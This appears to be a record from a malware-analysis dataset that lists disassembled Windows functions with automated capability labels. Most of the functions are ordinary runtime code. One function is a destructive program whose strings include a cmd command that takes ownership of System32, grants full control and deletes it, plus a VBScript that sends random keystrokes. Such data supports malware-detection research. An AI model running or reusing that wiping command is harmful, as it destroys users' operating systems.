joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400c7db4
Capabilities:
Query environment variable

Disassembly:
jmp 0x140230d50
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140230b80
lea rcx, [rsp + 0x40]
call fcn.140230d00
movzx eax, al
test eax, eax
jne 0x140230d98
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.140230bb0
mov rax, qword [rsp + 0x70]
jmp 0x140230f69
lea rcx, [rsp + 0x40]
call fcn.140230cd0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.140230c70
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.140230cd0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.1400c8fc0
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x140230e3e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.140230bb0
mov rax, qword [rsp + 0x80]
jmp 0x140230f69
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.1400c799a
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400c777e
lea rcx, [rsp + 0x48]
call fcn.1400c719d
movzx eax, al
test eax, eax
jne 0x140230ea5
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.1400c5d4d
lea rcx, [rsp + 0x40]
call fcn.140230bb0
mov rax, qword [rsp + 0x88]
jmp 0x140230f69
lea rcx, [rsp + 0x48]
call fcn.1400c82b4
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.140230cd0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.1400c8fc0
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x140230f3b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.1400c5d4d
lea rcx, [rsp + 0x40]
call fcn.140230bb0
mov rax, qword [rsp + 0xa0]
jmp 0x140230f69
lea rcx, [rsp + 0x48]
call fcn.1400c7738
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.1400c5d4d
lea rcx, [rsp + 0x40]
call fcn.140230bb0
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x1400c7dcd
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x14017be90
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.14017b860
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14017bed1
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1402d0020]
jmp 0x14017bed7
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x1400c7e95
Capabilities:
Get geographical location

Disassembly:
jmp 0x14020e5a0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.14020d4d0
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x14020e607
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x1402d0030]
jmp 0x14020e629
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.1400c7107
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x1400c7ea9
Capabilities:
Terminate process

Disassembly:
jmp 0x1401596b0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x1400c824b
Capabilities:
Print debug messages

Disassembly:
jmp 0x14023e6b0
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x1402b3180]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x14023e6d6
jmp 0x14023e753
mov rcx, qword [rbp + 0x30]
call fcn.1400c75df
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14023e6ef
jmp 0x14023e753
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x14023e70c
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1400c5f7d
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.1400c659a
test eax, eax
jne 0x14023e753
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.1400c78b9
lea rsp, [rbp + 0x20]
pop rbp
ret

Function at 0x1400c869c
Capabilities:
Set environment variable

Disassembly:
jmp 0x140232eb0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
add rsp, 0x28
ret
Function at 0x1400c8859
Capabilities:
Create process on windows
Create thread
Self delete
Terminate process

Disassembly:
jmp 0x1400e46b0
push rbp
push rdi
sub rsp, 0x228
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x4e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1402b3180]
xor rax, rbp
mov qword [rbp + 0x1e8], rax
lea rcx, [0x1402cf109]
call fcn.1400ca4b0
nop
mov r9d, 0x34
lea r8, str.nt.dll
lea rdx, str.This_virus_can_do_a_lot_of_harm_to_your_computer__Do_you_want_to_run_it_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x1400e4730
mov r9d, 0x34
lea r8, str.nt.dll
lea rdx, str.LAST_WARNING__THE_CREATOR_IS_NOT_RESPONSIBLE_FOR_ANY_DAMAGES__USE_A_VM_IF_YOU_REALLY_WANT_TO_RUN_THE_PROGRAM__OR_IF_YOUR_USING_YOUR_LOCAL__CLICK_NO__AND_DELETE_THE_FILE_IMMEDIATELY______
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
je 0x1400e473e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, str._c_takeown__f_C:WindowsSystem32.dll__nul__icacls_C:WindowsSystem32.dll__grant_Everyone:_F___nul__del_s_q_C:WindowsSystem32.dll__nul_2_1
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400c5de8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x10]
call fcn.1400c7198
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, str.sender.vbs
lea rcx, [rbp + 0x10]
call fcn.1400c7111
nop
lea rdx, str.randomize_n_do_n_randomNum__int__rnd__15___1__n_createobject__wscript.shell__.sendkeys__F___randomNum_____
lea rcx, [rbp + 0x10]
call fcn.1400c5947
nop
lea rcx, [rbp + 0x10]
call fcn.1400c7b4d
nop
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, str.sender.vbs
lea r8, str.wscript.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400c6db5]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400c5091]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
mov ecx, 0xc350
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
call fcn.1400c7c6a
nop
lea rcx, [rbp + 0x10]
call fcn.1400c64eb
nop
jmp 0x1400e48ac
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1402667e0]
call fcn.1400c95e7
mov rax, rdi
mov rcx, qword [rbp + 0x1e8]
xor rcx, rbp
call fcn.1400c78b9
lea rsp, [rbp + 0x1f8]
pop rdi
pop rbp
ret
Function at 0x1400c89e9
Capabilities:
Parse pe header

Disassembly:
jmp 0x14015b280
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14015b2a0
xor al, al
jmp 0x14015b321
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14015b2b3
xor al, al
jmp 0x14015b321
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14015b2dd
xor al, al
jmp 0x14015b321
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14015b2f1
xor al, al
jmp 0x14015b321
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14015b303
xor al, al
jmp 0x14015b321
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14015b31f
xor al, al
jmp 0x14015b321
mov al, 1
add rsp, 0x38
ret
Function at 0x1400c928b
Capabilities:
Terminate process

Disassembly:
jmp 0x14017cf50
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x14017cf7e
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.1400c9e98
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400c9f1a
Capabilities:
Print debug messages

Disassembly:
jmp 0x14020bbf0
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x1400ca087
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x14017bfd0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.14017b920
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14017c019
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1402d0020]
jmp 0x14017c028
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x1400ca190
Capabilities:
Set environment variable

Disassembly:
jmp 0x14024d120
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.1400c6f1d
lea rcx, [rsp + 0x48]
call fcn.1400c6f1d
call fcn.1400c7d28
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.1400c6be4
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x14024d18f
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.1400c747c
lea rcx, [rsp + 0x78]
call fcn.1400c747c
mov eax, dword [rsp + 0x24]
jmp 0x14024d220
call fcn.1400c7d28
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.1400c6be4
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x14024d1d6
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.1400c747c
lea rcx, [rsp + 0x78]
call fcn.1400c747c
mov eax, dword [rsp + 0x2c]
jmp 0x14024d220
lea rcx, [rsp + 0x48]
call fcn.1400c6e37
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.1400c6e37
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.1400c747c
lea rcx, [rsp + 0x78]
call fcn.1400c747c
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret
Function at 0x1402125f0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400c5f7d
sub rsp, rax
mov rax, qword [0x1402b3180]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1402b7d60]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1402127e2
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x140212736
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140212736
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x14021271b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x1402126b8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1402127a2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140212801
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x1402127dd
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140212801
jmp 0x14021268e
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400c78b9
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x1402128b0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400c5f7d
sub rsp, rax
mov rax, qword [0x1402b3180]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1402b7d60]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x140212abd
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x140212a09
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x140212a09
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x1402129e9
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x140212978
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140212a7d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140212adc
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x140212ab8
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140212adc
jmp 0x14021294e
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400c78b9
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x180001150
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
cmp edx, 1
jne 0x180001191
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor eax, eax
lea r8, [0x180001050]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180001191
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x30
pop rbx
ret

Function at 0x180003660
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1800036bd
lea rbx, [0x1800498e0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1800036a4
cmp r10, 2
jb 0x1800036a4
cmp byte [r9], r8b
jne 0x1800036a4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x180003680
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x1800036ff
lea rbx, [0x1800498e0]
cmp r8b, 0x23
jne 0x1800036e3
cmp byte [r9], r8b
jne 0x1800036e3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x1800036d0
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x1800038c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
xor r14d, r14d
mov rsi, r8
test r8, r8
je 0x1800038de
mov qword [r8], r14
lea rdx, [0x1800493c0]
call fcn.180003710
mov rbx, rax
test rax, rax
jne 0x180003903
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x180003a2d
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180003a2d
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x180003a2d
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180003a2d
cmp rdi, 0xffffffffffffffff
je 0x180003a2d
mov rcx, rdi
call fcn.1800073f0
mov rbp, rax
test rax, rax
je 0x180003a2d
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x180003a1a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov r8, qword [0x180057c28]
test r8, r8
je 0x180003a0f
movsx rdx, word [r8 + 0x6228]
lea rcx, [r8 + 0x622c]
mov r9d, dword [r8 + 0x3fc0]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x180003a04
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6228], cx
movsx rax, cx
lea rcx, [r8 + 0x622c]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], r14d
inc word [rcx + 6]
inc dword [r8 + 0x6224]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x180003a36
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x180003a28
mov qword [rsi], rdi
mov rax, rbp
jmp 0x180003a38
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x18000a560
Capabilities:
Hash data with crc32

Disassembly:
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10d, 0xffffffff
mov eax, r10d
test r9b, r9b
je 0x18000a5b0
lea r11, [0x1800498e0]
nop dword [rax]
cmp r9b, 0x23
jne 0x18000a593
cmp byte [r8], r9b
jne 0x18000a593
cmp byte [r8 + 1], r9b
cmove eax, r10d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [r11 + rdx*4]
test r9b, r9b
jne 0x18000a580
mov rcx, qword [0x180057c28]
not eax
movsxd rdx, dword [rcx + 0x4058]
mov r9, qword [rcx + 0x4060]
mov r10, rdx
shl r10, 4
add r10, r9
test rdx, rdx
je 0x18000a611
nop word [rax + rax]
mov r8, rdx
shr r8, 1
mov rcx, r8
add rcx, rcx
cmp dword [r9 + rcx*8], eax
jae 0x18000a609
lea r9, [r9 + rcx*8]
mov rcx, 0xffffffffffffffff
sub rcx, r8
add r9, 0x10
add rdx, rcx
jmp 0x18000a60c
mov rdx, r8
test rdx, rdx
jne 0x18000a5e0
cmp r9, r10
je 0x18000a620
cmp dword [r9], eax
jne 0x18000a620
mov rax, qword [r9 + 8]
ret
xor eax, eax
ret